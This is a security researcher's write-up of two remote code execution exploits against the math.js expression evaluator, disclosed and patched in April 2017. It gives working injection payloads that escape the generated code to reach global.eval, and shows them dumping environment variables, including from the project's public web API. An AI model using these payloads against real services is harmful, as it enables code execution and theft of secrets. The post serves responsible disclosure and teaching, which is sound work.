Finding more RCEs in math.js

I read a great blog post by @CapacitorSet and @denysvitali about discovering a RCE vulnerability in math.js and thought I'd give it a shot as well.

Earlier today (April 3rd) I read a great blog post by @CapacitorSet and @denysvitali about discovering a RCE vulnerability in math.js. I highly recommend you read their blog post first to get some background information, as well as for the experience (seriously, it's a really good writeup).

Anyways, after downloading and installing math.js locally, I started poking around. The first thing I noticed was that everything seemed much more secure. Trying to retrieve a Function object is not longer possible.

> math.eval('cos.constructor')
Error: Access to "Function" is disabled
    at getSafeProperty (/home/samczsun/test/node_modules/mathjs/lib/utils/customs.js:16:11)
    at Object.eval (eval at <anonymous> (/home/samczsun/test/node_modules/mathjs/lib/expression/node/Node.js:71:19), <anonymous>:3:390)
    at string (/home/samczsun/test/node_modules/mathjs/lib/expression/function/eval.js:43:36)
    at Object.compile (eval at _typed (/home/samczsun/test/node_modules/typed-function/typed-function.js:1115:22), <anonymous>:22:14)
    at repl:1:6
    at sigintHandlersWrap (vm.js:22:35)
    at sigintHandlersWrap (vm.js:73:12)
    at ContextifyScript.Script.runInThisContext (vm.js:21:12)
    at REPLServer.defaultEval (repl.js:340:29)
    at bound (domain.js:280:14)

Clearly a different approach would be needed.

I learned from the readme that math.js eventually delegates all the math to eval'd JavaScript, which means that at some point it must be generating the code dynamically. After some digging, it turned out that math.js was using new Function(params, code). To make my life a bit easier I hackily intercepted the Function constructor to print out the generated code. In hindsight, I could have just modified the mathjs source.

OldFunction = Function;
Function = function (a, b) {
  console.log("Function(\"" + a + "\", \"" + b + "\")");
  return OldFunction(a, b);
};

With that aside, it was time to start digging. I started by running a simple eval(cos(pi)) to see what the generated code looked like:

> math.eval("cos(pi)")
Function("defs", "    var math = defs["math"];     var args = defs["args"];     var _validateScope = defs["_validateScope"];     var undef = defs["undef"];     var Unit = defs["Unit"];     var getSafeProperty = defs["getSafeProperty"];return {  "eval": function (scope) {    if (scope) _validateScope(scope);    scope = scope || {};    return ("cos" in scope ? getSafeProperty(scope, "cos") : getSafeProperty(math, "cos"))(("pi" in scope ? getSafeProperty(scope, "pi") : getSafeProperty(math, "pi")));  }};")
-1

One JavaScript prettifier later, we get some readable code.

var math = defs["math"];
var args = defs["args"];
var _validateScope = defs["_validateScope"];
var undef = defs["undef"];
var Unit = defs["Unit"];
var getSafeProperty = defs["getSafeProperty"];
return {
    "eval": function(scope) {
        if (scope) _validateScope(scope);
        scope = scope || {};
        return ("cos" in scope ? getSafeProperty(scope, "cos") : getSafeProperty(math, "cos"))(("pi" in scope ? getSafeProperty(scope, "pi") : getSafeProperty(math, "pi")));
    }
};

Shoot. Everything's wrapped in a getSafeProperty call which does all the security checking.

function getSafeProperty (object, prop) {
  // Note: checking for property names like "constructor" is not
  // helpful since you can work around it.

  var value = object[prop];

  if (value === Function || value === Object || value === Function.bind) {
    throw new Error('Access to "' + value.name + '" is disabled');
  }

  return value;
}

Looks pretty hopeless. I might be able to trick some handwritten security but I didn't want to try and find a type confusion bug in JavaScript itself.

Instead, I turned my focus on the generated code itself. What if there was a way to inject some malicious code a la XSS?

I knew that I controlled the strings themselves, but not any of the wrapper code around it. I also knew that the code was all on one line, which meant that I would be able to wipe out any code after my payload with a simple //. The question is really "how do I trick the lexer".

It turns out that the answer was very simple. Why bother tricking the lexer when you could just modify the results of the lexer!

First off, I noticed that the implementation of eval simply delegates the call to parse(code).compile().eval(). However, while the internal parse function is not visible, a separate parse function is exported for public use. This parse returns a node tree - just what we want.

While I was poking around, math.js still had a hardcoded filter which prohibited accessing the constructor property. In my infinite wisdom I parsed cos.constructor instead of cos, which caused my payload to fail on the math.js online API. This then caused me to spend a lot more time reworking my payload. If you're interested in that process, I included a bonus writeup below.

Let's take a look at parse("cos") and see what we get.

> JSON.stringify(math.eval("parse(\"cos\")"))
'{"name":"cos","comment":""}'

Well... that looks awfully inviting. Don't mind if I just change that name property to something that suits my needs.

x=parse("cos");
x.name="\");},\"eval\":function(a){return global.eval;}};//";
x.compile().eval();

Running the above code generates the following.

var math = defs["math"];
var args = defs["args"];
var _validateScope = defs["_validateScope"];
var undef = defs["undef"];
var Unit = defs["Unit"];
var getSafeProperty = defs["getSafeProperty"];
return {
    "eval": function(scope) {
        if (scope) _validateScope(scope);
        scope = scope || {};
        return ("");
    },
    "eval": function(a) {
        return global.eval;
    }
}; //" in scope ? getSafeProperty(scope, "");},"eval":function(a){return global.eval;}};//") : getSafeProperty(math, "");},"eval":function(a){return global.eval;}};//"));  }};

Looks good to me. We've declared two eval properties, but fortunately the second one overwrites the first, giving us our target: global.eval. Let's put it all together.

> math.eval("x=parse(\"cos\");x.name = \"\\\");},\\\"eval\\\": function(a) {return global.eval}};\/\/a\"; x.compile().eval()(\"JSON.stringify(process.env)\")")
ResultSet {
  entries: [ '{"XDG_SESSION_ID":"540","TERM":"xterm","SHELL":"/bin/bash","OLDPWD":"/home/samczsun/test/node_modules","SSH_TTY":"/dev/pts/1","USER":"samczsun","LS_COLORS":"rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:","MAIL":"/var/mail/samczsun","PATH":"/home/samczsun/bin:/home/samczsun/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games","PWD":"/home/samczsun/test","LANG":"en_US","NODE_PATH":"/usr/lib/nodejs:/usr/lib/node_modules:/usr/share/javascript","SHLVL":"1","HOME":"/home/samczsun","LANGUAGE":"en_US:","LOGNAME":"samczsun","LESSOPEN":"| /usr/bin/lesspipe %s","XDG_RUNTIME_DIR":"/run/user/1000","LESSCLOSE":"/usr/bin/lesspipe %s %s","_":"/usr/bin/nodejs"}' ] }

Looks good so far! Let's try it on the web API.

{
  "result": "[{\"WEB_MEMORY\":\"512\",\"MEMORY_AVAILABLE\":\"512\",\"NEW_RELIC_LOG\":\"stdout\",\"NEW_RELIC_LICENSE_KEY\":\"redacted\",\"DYNO\":\"web.1\",\"PATH\":\"/app/.heroku/node/bin:/app/.heroku/yarn/bin:bin:node_modules/.bin:/usr/local/bin:/usr/bin:/bin:/app/bin:/app/node_modules/.bin\",\"PAPERTRAIL_API_TOKEN\":\"redacted\",\"WEB_CONCURRENCY\":\"1\",\"PWD\":\"/app\",\"NODE_ENV\":\"production\",\"PS1\":\"\\\\[\\\\033[01;34m\\\\]\\\\w\\\\[\\\\033[00m\\\\] \\\\[\\\\033[01;32m\\\\]$ \\\\[\\\\033[00m\\\\]\",\"SHLVL\":\"1\",\"HOME\":\"/app\",\"PORT\":\"18195\",\"NODE_HOME\":\"/app/.heroku/node\",\"_\":\"/app/.heroku/node/bin/node\"}]",
  "error": null
}

Awesome! At this point, I've basically progressed this payload to the point where it'd be trivial to just repeat the steps from CapacitorSet and denysvitali's blog post. As such, that is left as an exercise to the reader. Instead, I sent off an email and called it a day.

Timeline

April 3, 2017 - Vulnerability reported
April 8, 2017 - Vulnerability fixed


Still here? If you have no idea what this is, not all was as nice and easy as I made it seem. In reality I goofed up and my original parse payload didn't work due to a silly mistake. Here's what actually happened:

After being thoroughly disappointed that my payload didn't work on the web API, I naturally picked the harder solution of redeveloping the entire payload instead of removing a single word.

I knew I still wanted to go with the "inject malicious code into the syntax tree" approach, but there was a little roadblock:

  function SymbolNode(name) {
    if (!(this instanceof SymbolNode)) {
      throw new SyntaxError('Constructor must be called with the new operator');
    }

    // validate input
    if (typeof name !== 'string')  throw new TypeError('String expected for parameter "name"');

    this.name = name;
  }

Uh oh. math.js's eval doesn't support new. Fortunately, we can make use of JavaScript's prototypes.

We start off by constructing a regular object.

s={};

Then, we can update the object's prototype to match the SymbolNode's prototype.

s.__proto__=expression.node.SymbolNode.prototype;

We can use apply to 'instantiate' the SymbolNode.

expression.node.SymbolNode.apply(s, ["\");},\"exec\":function(a){return global.eval}};//"]._data);

Notice the usage of the _data property. This is because within math.js, all arrays are actually wrapped in a matrix, and so we need to unwrap it in order to call apply.

Finally, we can execute the newly created SymbolNode to get a copy of the global eval with s.compile().exec().

Putting everything together, we have our new payload:

s={};s.__proto__=expression.node.SymbolNode.prototype;expression.node.SymbolNode.apply(s,["\");},\"exec\":function(a){return global.eval}};//"]._data);s.compile().exec()("JSON.stringify(process.env)")

And now I can finally call it a day.